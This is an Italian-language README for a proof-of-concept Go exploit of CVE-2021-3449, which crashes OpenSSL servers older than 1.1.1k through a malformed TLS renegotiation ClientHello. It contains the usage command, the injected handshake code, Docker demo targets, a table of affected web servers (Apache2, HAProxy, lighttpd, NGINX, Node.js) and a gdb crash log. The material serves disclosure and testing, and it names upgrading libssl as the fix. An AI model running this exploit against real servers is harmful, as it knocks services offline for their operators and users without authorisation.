
CVE-2021-3449 exploit denial-of-service di OpenSSL 👨🏻💻
Uso: go run . -host hostname:port
Questo programma implementa un exploit proof-of-concept di CVE-2021-3449 che colpisce i server OpenSSL precedenti alla 1.1.1k se la rinegoziazione sicura TLSv1.2 è accettata.
Si connette a un server TLSv1.2 e avvia immediatamente una "rinegoziazione sicura" RFC 5746.
L’attacco utilizza un ClientHello appositamente alterato che provoca il crash del server tramite un dereferenziamento di un puntatore NULL (Denial-of-Service).
Questo problema è stato segnalato a OpenSSL il 17 marzo 2021 da Nokia. La correzione è stata sviluppata da Peter Kästle e Samuel Sapalski di Nokia.
L’unica soluzione nota è aggiornare libssl1.1.
Anche se alcune applicazioni utilizzano per impostazione predefinita configurazioni TLS rafforzate che disabilitano la rinegoziazione TLS, sono comunque interessate dal bug se eseguono una versione vecchia di OpenSSL.
main.go è un piccolo script che si connette a un server TLS, forza una rinegoziazione e si disconnette.
Il codice dell’exploit è stato iniettato in una versione inclusa del pacchetto encoding/tls di Go 1.14.15. Puoi trovarlo in handshake_client.go:115. La logica è autoesplicativa.
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
– @terorie
La directory demo/ contiene la configurazione per patchare varie applicazioni con una versione vulnerabile di OpenSSL.
Configurazione del test:
Requisiti:
build-essential (Perl, GCC, Make)Nota: nessuno dei server web elencati è vulnerabile a CVE-2021-3449 con OpenSSL 1.1.1k o versioni successive.
| Server | Distro | Versione | Demo | Risultato |
|---|---|---|---|---|
| OpenSSL s_server | - | 1.1.1j | make demo-openssl | Crash |
| Apache2 | Ubuntu 18.04 | 2.4.29 | make demo-apache2 | Crash parziale |
| HAProxy | Ubuntu 18.04 | 1.8.8 | make demo-haproxy | Crash |
| HAProxy | Ubuntu 20.04 | 2.0.13 | make demo-haproxy | Nessun effetto |
| lighttpd | Ubuntu 18.04 | 1.4.55 | make demo-lighttpd | Crash |
| lighttpd | Ubuntu 20.04 | 1.4.55 | make demo-lighttpd | Crash |
| lighttpd | Ubuntu 21.04 | 1.4.59 | make demo-lighttpd | Nessun effetto con opzione di configurazione |
| NGINX | Ubuntu 18.04 | 1.14.0 | make demo-nginx | Crash parziale |
| NGINX | Ubuntu 20.04 | 1.18.0 | make demo-nginx | Nessun effetto |
| Node.js <=12 | Ubuntu 18.04 | Nessun effetto | ||
| Node.js >12 | Ubuntu 18.04 | ? | make demo-nodejs | Crash |
| Node.js >12 | Ubuntu 18.04 | 15.14.0 | make demo-nodejs | Nessun effetto |
Per pulire tutte le risorse della demo, esegui make clean.
openssl s_server è un’implementazione minima di server TLS.
make demo-openssl: Esecuzione completa (porta 4433)make -C demo build-openssl: Costruisci l’immagine Docker di destinazionemake -C demo start-openssl: Avvia il target sulla porta 4433make -C demo stop-openssl: Ferma il targetRisultato: crash completo del server.
Log
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello
[[truncated]]
Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
Il server web Apache2 httpd con configurazione predefinita è vulnerabile.
make demo-apache: Esecuzione completa (porta 443)make -C demo build-apache: Costruisci l’immagine Docker di destinazionemake -C demo start-apache: Avvia il target sulla porta 443make -C demo stop-apache: Ferma il targetGrazie a @binarytrails per il contributo.
Risultato: interruzione parziale, il processo principale è ancora attivo ma il processo worker è andato in crash.
Log